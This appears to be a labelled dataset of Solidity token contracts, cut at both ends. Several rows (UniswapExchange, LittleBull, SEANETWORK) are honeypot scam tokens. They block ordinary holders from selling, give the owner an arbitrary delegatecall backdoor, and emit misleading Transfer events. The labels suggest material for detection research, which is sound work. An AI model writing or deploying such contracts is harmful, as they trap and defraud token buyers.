function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,485 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 562 |
pragma solidity ^0.4.15;
contract IICOInfo {
function estimate(uint256 _wei) public constant returns (uint tokens);
function purchasedTokenBalanceOf(address addr) public constant returns (uint256 tokens);
function isSaleActive() public constant returns (bool active);
}
contract IMintableToken {
function mint(address _to, uint256 _amount);
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ReenterableMinter is Ownable {
event MintSuccess(bytes32 indexed mint_id);
function ReenterableMinter(IMintableToken token){
m_token = token;
}
function mint(bytes32 mint_id, address to, uint256 amount) onlyOwner {
if (!m_processed_mint_id[mint_id]) {
m_token.mint(to, amount);
m_processed_mint_id[mint_id] = true;
}
MintSuccess(mint_id);
}
IMintableToken public m_token;
mapping(bytes32 => bool) public m_processed_mint_id;
} | 1 | 3,436 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LittleBull {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,693 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SEANETWORK {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply * 10 ** uint256(decimals);
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,045 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
interface ERC20Token {
function name() external view returns (string name_);
function symbol() external view returns (string symbol_);
function decimals() external view returns (uint8 decimals_);
function totalSupply() external view returns (uint256 totalSupply_);
function balanceOf(address _owner) external view returns (uint256 _balance);
function transfer(address _to, uint256 _value) external returns (bool _success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool _success);
function approve(address _spender, uint256 _value) external returns (bool _success);
function allowance(address _owner, address _spender) external view returns (uint256 _remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AUSD is Owned, ERC20Token {
using SafeMath for uint256;
string private constant standard = "201811113309";
string private constant version = "6.0663600";
string private name_ = "AUSD";
string private symbol_ = "AUSD";
uint8 private decimals_ = 18;
uint256 private totalSupply_ = uint256(20) * uint256(10)**uint256(8) * uint256(10)**uint256(decimals_);
mapping (address => uint256) private balanceP;
mapping (address => mapping (address => uint256)) private allowed;
mapping (address => uint256[]) private lockTime;
mapping (address => uint256[]) private lockValue;
mapping (address => uint256) private lockNum;
uint256 private later = 0;
uint256 private earlier = 0;
bool private mintable_ = true;
event Burn(address indexed _from, uint256 _value);
event Mint(address indexed _to, uint256 _value);
event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount);
event WrongEtherEmptied(address indexed _addr, uint256 _amount);
constructor() public {
balanceP[msg.sender] = totalSupply_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier isMintable() {
require(mintable_);
_;
}
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = earlier.add(_earlier);
}
function setUnlockLater(uint256 _later) public onlyOwner {
later = later.add(_later);
}
function disableMint() public onlyOwner isMintable {
mintable_ = false;
}
function mintable() public view returns (bool) {
return mintable_;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function decimals() public view returns (uint8) {
return decimals_;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowed[_owner][_spender];
}
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (now.add(earlier) >= lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (now.add(earlier) < lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
function showLockTimes(address _address) public view validAddress(_address) returns (uint256[] _times) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = lockTime[_address][i].add(later).sub(earlier);
i++;
}
return tempLockTime;
}
function showLockValues(address _address) public view validAddress(_address) returns (uint256[] _values) {
return lockValue[_address];
}
function showLockNum(address _address) public view validAddress(_address) returns (uint256 _lockNum) {
return lockNum[_address];
}
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
